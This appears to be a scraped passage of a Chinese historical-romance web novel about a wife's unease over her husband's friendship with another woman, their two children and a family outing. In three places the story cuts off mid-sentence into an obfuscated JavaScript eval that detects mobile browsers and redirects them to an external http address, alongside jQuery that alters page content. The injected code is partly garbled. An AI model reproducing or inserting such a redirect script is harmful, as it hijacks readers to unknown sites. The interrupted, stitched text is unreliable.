宋宝媛感觉喉间黏了团棉花,挠得人痒痒的,偏又吐不出来咽不下去,使人焦躁。 她尽可能地语气平和道:“小孩子饿着肚子不好。” “总得让他长记性。”江珂玉看向儿子时声色俱厉,“我陪他一起饿着,总不能算苛待了他。” “他……” “咳!” 宋宝媛本欲再劝,循声看去,给她提醒的姚嬷嬷对她摇了摇头。 江珂玉没有注意身后,并未发现她们之间眼神的交流。 罢了,宋宝媛如此对自己说,低头不再插手。 可拧起的眉头怎么也解不开,连今天女儿吃饭时异常的乖巧也没发现。 * 戌时,是准备睡觉的时候。 和娘亲一起洗完澡的江岁穗像罚站一样缩在床榻一角,等着娘亲先把床铺好。 趁娘亲背对着她,她悄悄钻进被褥底下蠕动。 “嗷呜!”突然窜出,对着娘亲扮鬼脸。 宋宝媛一愣,哭笑不得地将她拢在自己怀里,还揉了揉她毛茸茸的脑袋。 江岁穗像只小奶猫一样,到处蹭蹭,“娘亲香香的。” “我们岁穗也是香香的。” 江岁穗抱着娘亲的胳膊,黑黢黢的眼珠子转啊转,“娘亲!” “嗯?” “你今天怎么都不笑呀!” 宋宝媛微怔,连忙扯动嘴角,“娘亲笑了呀。” “没有!”江岁穗伸出两根食指,戳在娘亲的两边嘴角,往上提,“这样才叫笑呢。” 宋宝媛配合得扬起嘴角,眉眼弯弯,“这样,对吗?” “嗯!” 房门咯吱一声,两人双双看向门口。 洗完澡的江承佑抱着自己的小枕头,别别扭扭地走在前面。江珂玉在后,也是沐浴后只着寝衣,单手抱着一床被子,顺手把门也关了。 看到宋宝媛,江承佑仿佛看到救星,小碎步跑向床榻,灵活地爬上去。他挤掉妹妹,躲进娘亲怀里。 江岁穗不满地瞪了他一眼。 “怎么了江承佑。”江珂玉面无表情地走过来,“是怕我会吃了你吗?” 纵然前有妹妹挡,后有娘亲护,江承佑还是不敢吭声。 宋宝媛摸了摸他的脸,也没说话。 “讲故事!讲故事!”唯有江岁穗开朗,拍着被褥催促。 “好。”江珂玉应道,“岁穗挨娘亲睡,江承佑你松手,过来挨着爹。” 一句话语气变换不停,感觉被区别对待了的江承佑很不服气,终于说出了从晚饭到现在的第一句反抗,“我也要挨娘亲睡!” “过来。” “哦。” 江承佑再提不起第二回勇气,老老实实和妹妹换位置,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江珂玉没办法,撇开看热闹的江承佑,抱着江岁穗坐起来,拍着她的背耐心地哄。 宋宝媛也躺不住了,坐起来,除了给女儿擦眼泪,不知还能做什么。 “好了岁穗,不要哭了。”江珂玉状似无意地瞥过夫人,吐字艰难,“你不要听哥哥瞎说,就算爹娘、亲亲,也没有那么快有妹妹的。” “呜呜!” “我……爹爹、爹爹答应你,会、会努力给你生妹妹的,好不好?” 哭声骤然消失,江岁穗抹了抹眼睛,声音哽咽,“真的?” 江珂玉心情复杂,“嗯。” 江岁穗扭头又去看娘亲。 宋宝媛目光躲闪,沉默地点了点头。 “那你们现在就亲亲。” 江珂玉瞳孔一震,试图跟她讲道理,“不是亲亲就能生妹妹的。” “那怎样能生妹妹,你们现在就做什么。” 江珂玉:“……” 飘忽的目光毫无预兆地撞上,夫妻俩匆匆避让,尴尬顿时蔓延开来。 江岁穗来回看他们,逐渐又撅起了嘴,“呜呜!” “呜呜!” 江珂玉一巴掌捂了学样的江承佑的嘴。 宋宝媛本就焦躁,被这哭声吵得更是头疼,“好、好了岁穗,不要哭了。” “不要哭了!” 江岁穗完全不理。 宋宝媛心中焦灼,突然往前一凑,唇瓣潦草地擦过江珂玉的脸。 江珂玉和江岁穗双双愣住。 “好、好了吧。”宋宝媛只盯着女儿,视线不敢偏移,“爹娘已经亲亲了,你要是想要妹妹,就得乖乖的。不然,没人愿意来娘亲肚子里,给你当妹妹的。” 江岁穗被唬住,睁着湿漉漉的眼睛,带着哭腔奶声奶气道:“我乖乖的。” “那躺下睡觉。” 江岁穗捣蒜一样点头,从爹爹怀中挣脱,缩回被窝里。 宋宝媛低头给她掖被子,自己亦躺下,轻声道了一句“睡吧。” 虽然没看他,也没指名道姓,但江珂玉知道,她这话是对自己说的。 他脸颊微烫,耳畔泛红,但神色镇定,躺下安睡。 江承佑偷偷摸摸地钻进了娘亲和妹妹被子里。 江珂玉好一会儿才发现,伸手将他揪了回来。 5. 没空 清早醒来,感到手边空荡荡,江珂玉惊慌睁眼。 原本在他身侧的江承佑不知何时又“出逃”,黏着妹妹,硬挤入和娘亲一个被窝。 江珂玉无奈之余,将手头的被子往他们三人身上多盖了些。 他静静注视,两个小家伙模样可爱,睡得安稳香甜。 只是……夫人为何蹙起眉头呢? 他伸出手,意欲抚平,却在将要碰触之时,顿住指尖。 冒犯,未免有些冒犯。 迟疑片刻,江珂玉收回了动作,轻手轻脚下榻。 等待侍候的婢女已经站在了门外,但江珂玉并非召进屋内。他无声换衣整理,视线一直落在妻儿身上,若有所思。 穿戴整齐后,他脚步放轻,推门而出,对守在门口、本要行礼的婢女比了个噤声的手势。 又勾了勾手指,示意她们跟自己过去。 走出数十步,江珂玉才出声问道:“府中近来可出了什么事?” 巧月和巧银低着头对视一眼,巧银佯装诧异,“郎君为何这样问?” “夫人似乎从昨日起,就有些愁眉不展。” “郎君当真不知道吗?” 巧月反问的话一出口,巧银立马瞪了她一眼。 江珂玉将她们的小动作收入眼底,“怎么了?” “就是……到了每年清账的时候。”巧银急中生智道,“郎君也知道,铺子那样多,夫人难免操劳。再加上小少爷和小小姐又黏人又顽皮,夫人怕是有些心力交瘁。” 巧月低着头,抿着嘴,满脸不忿。 江珂玉的视角瞧不见,他只是点点头,交待道:“待夫人醒来转告她,我今日事忙,晚饭不必等我。” 清账这事每年都有那么一两次,避免不了,他便没有放在心上。 “是。” 跨过拱门,江珂玉又顿住,“我后日休沐,你们叮嘱小少爷,若他今日明日都可以乖乖的,不给娘亲添麻烦,那后日他想出门去哪里玩都可以。” “是。” * “我要去钓鱼!” 晌午的餐桌旁,江承佑举着小木剑,兴奋地转圈圈。身旁,是追着他喂饭的奶娘。 “我还要骑马!” “你还小,骑不得马。” 几步之外,翻着账本的宋宝媛淡淡道。 巧银侍奉在侧,“夫人吃完饭再看吧。” “我还不饿。” “我要骑马!”江承佑拨开奶娘喂饭的手,“我就要骑马。” 宋宝媛放下账本,低声哄道:“你还要长大一些才可以骑马呢,不然太危险了。我们去钓鱼,好不好?” “我要钓鱼。”江承佑用木剑戳着地,不肯吃饭,“我也要骑马!” “承承,你还太小了。”宋宝媛接过奶娘手里的碗勺,亲自喂他,“还有别的好玩的,为什么非要骑马呢?” 江承佑不高兴地甩手,“不管不管!我就要骑马,就要骑马!” 他摇头晃脑地耍横,没注意,将娘亲给他喂饭的勺打落在地。 “我要骑马,我要骑马!我就要骑马!” 饭食洒了一地,小孩还在吵闹,纵然宋宝媛好脾气,也难掩恼火。 “承承!” “就要骑马!” “砰!” 宋宝媛将手里的碗放回桌上,碗底与木桌捧出清脆的声音,可见其力道。 江承佑愣了愣,大眼睛里闪过片刻迷茫,“我……骑小马也不可以吗?” “若是你爹爹说你不可以骑马,你也会这样吵闹吗?” 江承佑歪着脑袋不语,睁着大眼睛怯怯地望着娘亲。 宋宝媛最见不得他这般可怜的样子,免不了心疼,却又没由来的焦躁。 “先吃饭。”她压着心中翻涌的情绪,低声道。 巧银上前收拾地面残局,巧月拉开了小少爷,还小声提醒道:“你爹爹说的是,如果这两日小少爷乖的话,后日才带小少爷出门玩。你爹爹要是知道你不好好吃饭,还惹娘亲生气,别说骑马,连门都出不得!” 江承佑闻言垂首,老实坐下。 这头刚消停,江岁穗跑进屋内,直奔宋宝媛,伸手去摸娘亲的肚皮。 她睁着纯粹的眼睛,期待地问:“我有妹妹了吗?” 宋宝媛:“……” 她要怎么解释才好。 她拿开女儿的小手,含糊道:“没、没有那么快的。” 江岁穗顿感失望,鼓起了脸。 “吃饭吧。”宋宝媛感到有些累,便让巧银来喂,自己退开一旁。 江岁穗没有吃饭的兴致,左摇右晃地躲。 “这是小小姐最喜欢的豆腐虾仁,快吃一口。”巧银端着碗哄道。 “我要妹妹。”江岁穗嘟囔着,“我要妹妹。” 宋宝媛叹了口气,揉了揉眉心,刚欲说话,被姚嬷嬷抢了先。 “小小姐先吃饭,吃完饭我们去放风筝好不好?” “放风筝?好!”江岁穗立马又高兴了起来,配合地吃下一口虾仁。还没咽下去呢,她掰着椅子,仰着头,超大声道:“但我还是要妹妹,娘亲,你要记得每天跟爹爹亲亲,早点给我生妹妹!” 屋内霎时哄笑满堂,唯宋宝媛感到难为情地别过脸去。 巧月使坏道:“那小小姐可得每日监督,万一夫人忘了,可就没有妹妹了!” “好!”江岁穗认真地点着头。 宋宝媛脸颊发烫,“巧月!” * 东桥街,大理寺联合刑部一起办案,大量官兵涌入。追查两日前毒杀户部侍郎一家,且趁夜,残忍将户部侍郎分尸的真凶。 案件密而不宣,但户部侍郎府门前骇人的四个血字“杀人偿命”还是被无辜百姓看到了,因而引起坊间议论纷纷。 常云柏乃负责此案的刑部主事,晌午,才和大理寺负责对接的江珂玉碰面。 同坐在茶摊上,江珂玉翻着卷宗,些许不悦,“线索到东桥街就已经断了,还没有明确的指向,你就弄出这么大动静,惹得人心惶惶。” “我也不想啊。”常云柏将刚喝入口的茶水吐掉,嫌弃地将茶杯推远,“上边有人压有人催,不弄出的动静怎么体现重视?” 他摇着头,“小小一个户部侍郎几十年来贪了何止黄金万两,手上沾的人命没有一千也有八百。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318982|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠‘杀人偿命’这四个字,排查到明年也结不了案。” “若要盘根细察,势必要翻出陈年旧案,牵扯甚广,要得罪的人可不少。人人都知道这个是烫手山芋,刑部那些老家伙一个比一个精明,竟然要我一个小主事来抗事。” 常云柏怨气满满,将胳膊搭上江珂玉的肩膀,“幸好还有你陪我。” “滚。”江珂玉冷漠地将他推开,保持距离。 常云柏已经习惯了,抬头环顾一圈,“哟,小四来了。” 江珂玉头也没抬,一点也不意外,“她最近无聊得很,到处乱窜。” “她算好的了。”常云柏乐道,“小四好歹只凑个热闹,不像高洛书那家伙,还搁那找仙女呢。浪费那么多时间,费那么大劲,我真怕他最后找出个有夫之妇,那他自己就成热闹了。” 他说话时,提着食盒的盛绮音已经走到了他们面前。 “我猜,你们俩肯定没时间好好吃午饭。”她笑吟吟地邀功道,“所以我给你们送来了,都是你们爱吃的。怎么样?我贴心吧。” 常云柏朝她竖起大拇指,迫不及待地打开食盒,饭菜香扑面而来。 他将饭菜摆上桌,瞥了一眼还在看卷宗的江珂玉,“先吃饭吧,不急这一时。咱们也算共事上了,晚上去喝一杯?正好小四也在。” “不了。”江珂玉兴趣缺缺,“家里两个调皮鬼越来越闹腾了,我得早些回去。” 常云柏讶异,“你夫人呢?” “她这几日也有事要忙,分身乏术。” 常云柏挑了挑眉,“那后日,后日我们都休沐。叫上高洛书,咱们找个地方好好放松一下。” “不去。”江珂玉语气淡淡,“后日我答应江承佑,带他和岁穗出门玩。” “不是吧江珂玉,你什么时候成了那种每天把孩子挂在嘴边的无趣之人了。”常云柏目露鄙夷。 江珂玉终于抬眼,“我有挂在嘴边吗?不是你在问,我才说的吗?” 盛绮音亦不满,“二哥你都好久没跟我们一起去喝酒了,未免扫兴。大哥也有两个孩子,大嫂也忙,不还是里里外外照顾得妥妥贴贴。再看看你,宋姐姐知道你把她想得这般无用吗?” “我夫人过于温柔,不似大嫂那般……”江珂玉斟酌再三,还是直白道,“不似大嫂泼辣,难以降住那俩小鬼。” 常云柏张开了嘴,但半晌没出声,着实难以反驳。 “总之我最近没有空闲。”江珂玉左右看了一眼,“你们谁都别来烦。” “罢了罢了。”常云柏摇了摇头,“但我下个月搬新宅子,办乔迁宴,你可不能也没时间。” “再说吧。”江珂玉漫不经心道,“你放心好了,人不到礼也会到的。” 常云柏拿着筷子,斜眼瞧他,“我是在乎这个的人吗?到时候你带弟妹还有两个宝贝一起来呗。虽然弟妹……已经过去那么久了,还是该多走动走动。看在你的面子上,加上弟妹本就随和,想必大家也会与她和睦相处。” 江珂玉怔愣片刻,没有接话,似在思考。 “二哥!”盛绮音微微眯眼,突然出声,打断他的思绪,“你……打算带承承和岁穗去哪里玩?” 6. 青丝 临近子夜,外头窸窸簌簌的声音搅醒了刚刚睡下的宋宝媛。 她下意识先看了一眼睡在自己身侧的儿女,再抬头望向被小心推开的房门。 风尘仆仆的江珂玉走至屋中,褪下外衫放置一旁后,又出门在院中盥洗一番,干净后才向床榻靠近。 “我吵到你了吗?”他声音低低地问。 宋宝媛侧躺在床榻里侧,被褥只盖到腰际。白色寝衣松散,隐约可见一条贴着肌肤的红色系带。 她的眉目间藏有些许疲惫,缓慢地摇了摇头。 江珂玉的视线慌乱地从夫人身上挪开,扫视过熟睡的儿女,不自觉叹了口气,“他们又睡这了。” “本来是想让他们回自己房间睡的。”宋宝媛轻声解释道,“但承承非说,爹爹没回来,娘亲一个人会害怕,所以就赖这。他们要等你回来再走,但你还没回来,就睡着了。” “倒是挺会找借口。”江珂玉哑然失笑,又有些许歉意,“不过我回来得的确有些晚了,最近东桥街那带不太安宁,你们若无要事,切勿靠近。” 是提醒,也是解释。 “嗯。” 江珂玉小心翼翼地动手,调整了儿女的位置,好方便自己上榻。 他将床尾另一床被子铺开,且将江承佑转移到这床被褥下。 唯恐相顾无言,多生尴尬,宋宝媛在他躺下时,闭上了眼睛。 倦意来袭,江珂玉仍半睁着眼,想要问问今日两个小鬼乖不乖,又或者后日,夫人有没有想要去的地方。 但见夫人阖目,虽然不像已经睡着,但他还是没有再开口。 宋宝媛整晚睡得都不安稳,昏昏沉沉,醒来不知到了何时,略微有些头疼。 她的夫君和儿子已无身影,身侧的江岁穗睁着漂亮的大眼睛盯着她,笑容灿烂。 宋宝媛心中柔软,“岁穗什么时候醒的?” “比娘亲早一点点。”江岁穗坐起来,摇摇晃晃道,“爹爹出门了,哥哥去吃早饭了。” 宋宝媛亦慢腾腾坐起来,“怎么都不叫醒娘亲?” “因为爹爹说,我们不吵娘亲,让娘亲多睡一会儿,他明日就带我们去蛐蛐山庄玩。” “蛐蛐山庄?” 江岁穗重重点头,眼睛里放光,“嗯!爹爹说,那个蛐蛐山庄,可以钓鱼、可以划船、可以放羊、可以挖莲藕,有好多好多好玩的!” 见她如此可爱模样,宋宝媛忍不住想要摸摸她的脸。 听到小小姐的声音,守在门口的巧月便知宋宝媛醒了,立马捧着水盆入屋。 宋宝媛抬眼看去,“什么蛐蛐山庄,郎君走前可交代了?” “是曲水山庄。”巧月纠正道。 她拧着布巾,话说得不情不愿,“姚嬷嬷说,这两日郎君虽然早出晚归,见不着人影。但、但他、还是很关心夫人你的。” 宋宝媛将江岁穗抱下床榻,接过巧月递来的布巾给她擦脸擦手,没有说话。 直到给江岁穗穿好衣服,梳完头发,送她出门去玩后,才问道:“你这是什么表情,觉得姚嬷嬷说得不对?” “不是。” 巧月拿起梳子,为已经坐到梳妆镜前的宋宝媛绾发。 “奴婢当然看得出来,郎君是关心夫人的。只是……郎君出门前,奴婢多嘴问了一句,问他为什么选择去曲水山庄。毕竟夫人名下好几个山庄,为何要舍近求远呢。” 宋宝媛低头挑着簪子,漫不经心地问:“郎君怎么说?” 巧月咬着嘴唇,久久未言。 宋宝媛从面前的镜子里,看到了身后巧月扭捏中带着愤怒的模样,“怎么了?” “郎君说,他说,是盛姑娘建议的。还让我们明日给小少爷和小小姐准备零嘴时,多准备一份,盛姑娘可能会跟我们一起去。” 宋宝媛拿簪子的手蓦然顿住,但很快恢复如常,将兰花簪子递到身后。 巧月接过,为她插入发间。 两人一同看向了镜子里的人,一张姣好的脸和平静如水的神情。 “夫人!”巧月见不得她这委屈到头却无动于衷,好似要习惯忍耐的模样,“您要不要直接就跟郎君说,你不想要那人掺和进来。” 像是自嘲般,宋宝媛垂首,“我如何说?” 巧月不解,“身为妻子,不愿意自己的丈夫和别的女子有过多接触,不希望自己一家人团聚的时候有别的女人碍眼,这不是理所应当的吗?” 宋宝媛的眼中逐渐失神,搭在梳妆盒上手跟着缓缓收紧。 “我的小姐,您不是第三者。”巧月绕行一步,跪蹲在地,仰目看着自己的小姐,“三书六礼,明媒正娶。奴婢还是那句话,又没人把刀架在郎君脖子上逼他娶您,您何须为此感到愧疚。” 宋宝媛想,若当初真的是架上真刀,逼其就范,现在,反而不用受其乱了。 巧月蓦然红了眼睛,声音哽咽,“就算、就算小姐你、忍了,你也可以伤心难过的呀。小姐以前明明跟小小姐一样,想哭就哭,想闹就闹,可自从老爷和夫人走后,自从嫁给郎君后,就把什么都装进心里。和郎君客客气气的,还不如做兄妹来得……” “你这丫头大早上的做什么呢!”端来早膳的姚嬷嬷急道,赶忙将手里吃食放下,关上了房门。 巧月胡乱用袖子擦了擦眼睛,站了起来,语气强硬,“今天就算要被嬷嬷打骂,我也要说。人人都说郎君好,可他好便一定是小姐的良人吗?他是不会做什么有违人伦的出格事,可他今日一茬明日一茬,恶心人呀!” “那你想如何?非得撺掇得小姐和姑爷和离了才满意,还是直接让姑爷一纸休书,把这个好端端的家散了才好?” 巧月愣住,说不出话来。 “好了!”宋宝媛终于出声,“我知道你们都是为我好,但能不能不要吵闹。” 她揉了揉眉心,心头烦躁又涌了上来。 姚嬷嬷无声叹气,眉目忧虑中,亦流露出心疼。 她语生迟疑,“其实,巧月这丫头有句话说得也不错。小姐是姑爷是明媒正娶的妻子,于情于理,也不能什么都不做的。” 宋宝媛怔然,没有回答。 * 入夜,江珂玉回府后,快步赶到后院,只见江承佑手持木剑,骑着木马。 见他回来,江承佑立马放下手上玩具,跑上前来,规规矩矩地行礼,“爹爹。” 江珂玉被他这副装乖的模样逗笑,“你娘亲呢?” “娘亲带妹妹去洗澡了。” 江珂玉进屋换衣,江承佑屁颠屁颠跟在后头,还爬上凳子倒茶,扬声问:“爹爹渴不渴?” 宋宝媛抱着自己洗干净的女儿回来时,便见如此难得的“父慈子孝”。 见到她,江承佑肉眼可见地雀跃,跑过来扯她的衣角,小声道:“娘亲!你快告诉爹爹,我和妹妹今天都特别乖!” “是。”宋宝媛将江岁穗放下,后者立马扑向蹲下身迎接她的江珂玉。 “是,承承和岁穗都特别乖。”宋宝媛说着,越过他们去铺床。 江珂玉轻轻掐了掐江岁穗软乎乎的脸,佯装质疑,“真的吗?” “嗯!”江岁穗睁着无辜又纯然的大眼睛,重重点头。 江珂玉笑了笑,“那今晚你们乖乖回自己房间睡觉,明天天一亮,我们就出门玩好不好?” “好!”兄妹俩齐齐道。 “那走吧,爹爹送你们回去。” 江珂玉带两孩子出门后,屋里瞬间安静了下来。宋宝媛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318983|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头,些许茫然,呆坐在床榻边。 良久,她才有动作,走向门口,将房门虚掩,又转身到梳妆台前坐下。 另一头,江珂玉将两个孩子塞进被窝里,耐心哄他们睡,但有些心不在焉。 不过小孩子看不出来,迷迷糊糊地打哈欠。 不到两刻钟,兄妹俩便双双沉入梦乡。 留下奶娘看顾,江珂玉轻手轻脚离开,但没有直接回自己卧房,而是折去洗浴。 铜镜前,宋宝媛只着白色寝衣,长发散落,拨至一侧。 她拿起镜边白瓷瓶,倒出花露,在手心晕开,抹到自己腕骨、耳后、锁骨。 随后拿起梳子,垂眸等待。 屋里的灯灭了几盏,只剩两支烛火忽明忽暗。 江珂玉回来时,在门口顿了顿,抬手嗅了嗅身上的气味后,才放心推门而入。 听到动静,正在为自己梳发的宋宝媛看过去,柔声问道:“他们睡了?” “嗯。”江珂玉关上门,视线避开,从她身后走过,不紧不慢地放下床帐,“刚开始还有些兴奋,后面估计也累了,自己就睡了。” 宋宝媛缓缓起身,“明日……你没知会我,我也不知该准备些什么好。” “本就没想让你操劳。” 江珂玉向后伸手,邀她共寝。 宋宝媛抬手,搭上他温热的掌心,步入帐后,同他一起在榻边坐下。 江珂玉解释道:“是正好小四无聊,想去外边散心,又不想自己一个人,就和我们一起。她说她会打点好一切,明日你就和岁穗一样,玩得开心就好。” 宋宝媛欲言又止。 “怎么了?”江珂玉握住她的手,低声问。 “盛……就只有盛姑娘一起吗?” 江珂玉语气和缓,“原本是想邀请常云柏他们一家和我们一起,这样江承佑也有玩伴。但不巧那日嫂子要带孩子回娘家,便只有小四和我们一起了。不过也够了,既然她嫌自己无聊,就让她去带江承佑,左右你都省心。” 万千思绪涌上心头,宋宝媛张嘴却不知道说什么,纠结半晌,也只是问:“会、会不会不太好,毕竟承承那么调皮。” “没事的,不用跟她见外。” 宋宝媛垂首,抿了抿唇,久未言语。 帐内晦暗,淡淡的清香弥漫,氛围逐渐升温。 “山庄路远,恐要早起。”江珂玉微微倾身,轻声说话的气息拂过夫人耳后,“我们,歇息吧。” “嗯。” 似是得到应允,江珂玉的手抚过夫人腰际,俯身吻向夫人耳后。 因这个吻温柔地往下游走,掠过脖颈,宋宝媛被迫仰面。忽感肩胛一凉,但很快被灼热的身躯覆盖。 肌肤相贴,青丝交缠,江珂玉闭着眼睛,循序渐进,将夫人压下。 宋宝媛的心思很乱,反倒少了平日里的紧张。 她忽地想起那夜画舫上的才子佳人,又想起书房里那副笔墨尤新的画卷。 不该想,却驱之不散。 她忽地别过脸,这样的动作从未有过。 江珂玉蓦然愣住,睁开眼,隐约可见她紧锁的眉头。 “我、太用力了吗?”他不确定地问。 宋宝媛回过神,声中含怯,似羽拂心,挠得人痒痒的,“没有。” 因为各种原因,夫妻同房并不频繁,距离上次已有半月。江珂玉唯恐自己上头,乱了分寸。 “若是、若是不舒服,不必忍耐,直说就好。”江珂玉的气息不匀,似乎在压抑什么,强行让自己语气正经,“只要你说,我就会停下。” “嗯。”宋宝媛不想扰他兴致,只好胡诌借口,去他忧虑。 所以她说:“只是刚刚压到头发了。” 7. 酒量 天亮时,车马已经备好在江府门口。 江岁穗起得最早,兴奋地跑去爹娘卧房,想要催促他们起床。 但还没摸上房门,门竟然开了。她没料到,被门槛绊倒,跌入一个熟悉又富有安全感的温暖怀抱。 “爹爹!” “嗯。”江珂玉身着花青色窄袖长袍,腰系玉带,瞧着格外清雅。 他眉目含笑,侧过脸,江岁穗立刻亲上去,然后着急地问:“爹爹,我们什么时候出发去蛐蛐山庄?” “等娘亲换好衣服,我们就可以出发了。” 江岁穗闻言向后探头,正好瞧见娘亲从屏风后走来,黏糊糊地喊:“娘亲!” 宋宝媛妆容素雅,身着天青刺绣半袖裙衫,今日戴玉镯,簪珠钗,美若幽兰,缓步走来。 “娘亲好漂亮!”江岁穗扭着身子,歪着脑袋,像是害羞一样。 宋宝媛失笑,走到她跟前踮脚,江岁穗伸长脖子嘟嘴,亲上娘亲脸颊,随后像占了便宜一样心花怒放,笑得看不见眼睛,“娘亲终于笑了。” 江岁穗像告状一样,摇着江珂玉的肩膀,“爹爹我跟你说,娘亲最近老是不开心,明明我和哥哥都超乖的!” “胡说八道。” 略带疑惑的江珂玉闻言看过来时,宋宝媛笑着,视线里只容女儿,漫不经心地否认。 “娘亲!”慢出房门的江承佑穿戴整齐后欢快地跑来,到了跟前匆匆刹步,瞬间收敛笑容,合手行礼,“爹爹。” “嗯。”江珂玉淡淡应了一声,对他的老实表示勉强满意。 宋宝媛见状先行跨过门槛,牵起儿子的手,走在前面,且回头提醒,“走吧。” “好。”抱着女儿的江珂玉在后阔步跟随。 今日天清气朗,是个出游的好日子。 一家人同坐马车,过了有半个时辰,两个孩子各自靠着爹娘又睡了一小觉。一到地,又立马活蹦乱跳。 曲水山庄专供贵人游玩,占地极广,有山有湖。在这个季节里最为空气清新,风景秀丽。 山庄门口,盛绮音看似已等待多时。她身着月白宽袖裙衫,发坠铃兰,俏丽无双。 一见到江府的马车,她便欢喜上前相迎。 江珂玉先行下马车,抱下两个孩子,本要继续扶夫人,却被盛绮音抢了去。 “今天宋姐姐归我了,二哥你就靠边站吧!”她极其自然地挽上宋宝媛的胳膊,“宋姐姐,今日你的任务就是好好休息,咱们不跟那些碍眼的臭男人搅和,免得搅了咱们的好心情。” 宋宝媛不适应这样的亲近,但被箍得紧,不用力根本挣脱不开,被她拽着走,一步三回头。 江承佑撒欢似的跑了,江岁穗还留在原地,两手上举,蹦了两下,撒着娇喊:“爹爹抱!” 江珂玉分身乏术,只好默许夫人被带走。他一边抱起女儿,一边吩咐六安跟紧那脱缰野马一样的儿子。 刚到山庄没一刻钟,一家人就四分五裂。 宋宝媛放心不下,吩咐巧月巧银都去看着小少爷,自己则被盛绮音拉去赏花。 曲水山庄的每一处都十分精致,花圃里鲜花烂漫,大多是鲜艳的颜色,入目斑斓,令人心旷神怡。 花圃中还有秋千,在如此氛围下荡起,像是流连花丛的蝴蝶翩飞。 “宋姐姐,怎么样?”盛绮音热情道,“待在这里,是不是心情都变好了?” 纵有如此意境,也吸引不了宋宝媛,她心里总是装着孩子,“多谢盛姑娘好意,但我还得看顾两个小鬼。岁穗有爹爹陪着倒没什么,但承承顽皮,又喜欢躲着爹爹,我怕下人看不住他。” “哎呀宋姐姐!”盛绮音扬声不满,“就算是做了母亲,也不能只惦记孩子啊。孩子重要,你自己就不重要了吗?” 宋宝媛愣了愣。 “再说了,想想自己小时候,哪个孩子玩的时候想被大人看着。你想着多些陪伴,没准孩子还嫌烦呢。” 盛绮音幽幽道:“有时候没必要把自己想得太有价值,你以为自己重要,实际上却是多余的。” 她仰天长叹,“孩子如此,男人说不准也如此。” 停顿片刻,她忙找补道:“当然我不是说二哥嫌你烦,他……可是提前说了,要让你今日好好放松,不要管他们的。” 盛绮音笑笑,“你在这悠闲赏花,自己惬意,他们也不用玩得拘谨,这不是一举两得吗?” 宋宝媛觉得她的话刺耳,却又无从反驳。 她原以为夫君严肃古板,性情如此。可他会有那样开怀的笑意,却从未在身为妻子的她面前有过。 花朝节那晚的那一幕,像一颗种子落在她心底生根发芽,纵然宋宝媛告诉自己不要多想,却无法抑制这个画面在她脑海反复出现。 “好了宋姐姐。”盛绮音将她推到秋千上坐下,“你就只要享受眼前美景,其他的什么都不要管。” 繁花盛开,随风飘扬。 眼前的景象不止于此,还有三三两两嬉笑的孩童,牵手并行的夫妻,同行赏玩的手帕交……他们从花丛中穿过,无比和谐又美好。 宋宝媛一个人呆坐了许久,甚至不知盛绮音是何时从她身后离开的。 * 湖边有竹筏,江岁穗没见过这样的船,不要坐小舟,非要坐这个。 “就要就要!”她撒着娇央求。 江珂玉担心有危险,但也不想让女儿不高兴,想着有他在,出不了什么大事,便也允了。 他抱着女儿走上竹筏,坐上竹椅,撑杆的船夫刚要离岸,忽然听到一声清脆的“等等!” 江珂玉闻声抬头,见是盛绮音,难免左右张望,问道:“我夫人呢?” 盛绮音拎着裙子小跑上竹筏,在父女俩身侧平稳坐下后才回答:“宋姐姐想要安静,不想任何人打扰她。那我肯定不能不识趣啊,所以来叨扰你了。” 她伸手捏了捏江岁穗的耳朵,“定是你们平日里太吵了,所以娘亲才想自己静静!” “我没有!”江岁穗高声反驳,想了想又心虚,补充道:“是哥哥吵!” 江珂玉无奈,轻轻掐上女儿的脸,“那下回哥哥再吵,你要提醒他,好不好?” “嗯!”江岁穗老实点头。 船夫撑杆,将竹筏驶入湖中,一路下行。行过湍急的水流处,湖水会没过竹筏。 江岁穗趁爹爹不注意,直接踩上去,然后像做坏事成功了一样“咯咯”笑。 瞬间湿了鞋袜,江珂玉哭笑不得,把她摁着坐在自己腿上,“凉不凉?” “好玩!”江岁穗倒腾着两条腿,甩起的水溅上爹爹的脸,“我还要玩!” “凉。”江珂玉伸手探入湖中,感受了片刻水温。 江岁穗左摇右摆,在撒娇和撒泼之间来回切换,“要嘛,我要玩嘛,爹爹!我就要玩!” “就让她玩吧。”盛绮音帮腔道,“好不容易出来玩,当然是玩得开心最重要。” 江珂玉犹豫着,女儿一个劲地摇着他的胳膊。 “罢了罢了。”他最终还是败下阵来,把女儿湿了鞋袜脱掉,再把她的裙裤都绑到膝盖上面。 江岁穗光脚踩上竹筏,每一次沥水都兴奋得大笑,不停地踩。 江珂玉怕她站不稳,一直吊着她的后衣领,方便她左□□倒时,把她拎回来。 有爹爹兜底,江岁穗愈发有恃无恐,不仅左摇右晃地玩水,还捧水往后抛,“攻击”爹爹。 江珂玉毫不设防,直接洗了脸。 见他狼狈,盛绮音在旁掩面大笑。 